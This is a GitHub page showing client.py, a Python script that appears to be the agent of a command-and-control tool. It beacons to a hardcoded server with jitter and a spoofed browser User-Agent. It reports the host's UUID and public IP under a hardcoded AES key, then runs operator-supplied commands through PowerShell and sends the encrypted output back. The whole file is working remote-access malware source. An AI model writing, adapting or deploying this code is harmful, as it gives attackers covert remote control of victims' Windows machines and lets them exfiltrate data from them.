-
Notifications
You must be signed in to change notification settings - Fork 8
Expand file tree
/
Copy pathclient.py
More file actions
138 lines (103 loc) · 4.32 KB
/
client.py
File metadata and controls
138 lines (103 loc) · 4.32 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
import requests
import json
import base64
import subprocess
import time
import random
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
jitters = random.randint(1 , 3) # jitters
SERVER_URL = 'http://192.168.1.5/ntfy/' # Replace with your server URL
UAG = 'Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0 Safari/534.6' # Replace with your User-Agent
# Encryption parameters
KEY = b'123456789012345678901234r0hollah'
IV = b'&9*zS7LY%ZN1thfI'
def get_public_ip():
response = requests.get('https://ident.me', headers={'User-Agent': UAG})
return response.text
def get_system_info():
system_info = {
'uuid': str(run_command("(Get-CimInstance -Class Win32_ComputerSystemProduct).UUID")),
'public_ip': get_public_ip(),
'info':""
}
return system_info
def encrypt_string(input_str: str) -> str:
input_bytes = input_str.encode('utf-8')
key = b'123456789012345678901234r0hollah'
iv = b'&9*zS7LY%ZN1thfI'
# Create AES cipher
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
encryptor = cipher.encryptor()
# Pad input_bytes to be multiple of block size (128 bits = 16 bytes)
padding_length = 16 - (len(input_bytes) % 16)
input_bytes += bytes([padding_length]) * padding_length
# Encrypt the data
encrypted_bytes = encryptor.update(input_bytes) + encryptor.finalize()
# Encode to base64
output = base64.b64encode(encrypted_bytes).decode('utf-8')
return output
def decrypt_string(input_str: str) -> str:
# Decode the input string from Base64
data = base64.b64decode(input_str)
iv = b'&9*zS7LY%ZN1thfI'
key = b'123456789012345678901234r0hollah'
# Create AES cipher
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
decryptor = cipher.decryptor()
# Decrypt the data
decrypted_bytes = decryptor.update(data) + decryptor.finalize()
# Unpad the decrypted bytes
padding_length = decrypted_bytes[-1]
decrypted_bytes = decrypted_bytes[:-padding_length]
# Decode to string using UTF-8
result_str = decrypted_bytes.decode('utf-8')
return result_str
def run_command(input_str):
if input_str.lower() == 'terminate':
exit()
process = subprocess.Popen(["powershell", "-Command", input_str],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True)
stdout, stderr = process.communicate()
if stdout:
return stdout
else:
return stderr
def main():
while True:
system_info = get_system_info()
json_data = json.dumps(system_info)
encrypted_data = encrypt_string(json_data)
params = {
'DATA': encrypted_data,
'new_user': 'ok'
}
requests.post(SERVER_URL, data=params, headers={'User-Agent': UAG})
while True:
time.sleep(jitters)
system_info = {'uuid': system_info['uuid']}
json_data = json.dumps(system_info)
encrypted_data = encrypt_string(json_data)
params = {'DATA': encrypted_data}
result = requests.post(SERVER_URL, data=params, headers={'User-Agent': UAG})
request_data = decrypt_string(result.text)
if request_data != 'wait':
request_json = json.loads(request_data)
cmd = request_json[0]['cmd']
cmd_uid = request_json[0]['cmd_uid']
run_result = run_command(cmd)
if run_result == "" or run_result is None:
run_result = "No Result"
response_info = {
'uuid': system_info['uuid'],
'result': run_result,
'cmd_uid': cmd_uid
}
json_response = json.dumps(response_info)
encrypted_response = encrypt_string(json_response)
params = {'DATA': encrypted_response}
requests.post(SERVER_URL, data=params, headers={'User-Agent': UAG})
if __name__ == "__main__":
main()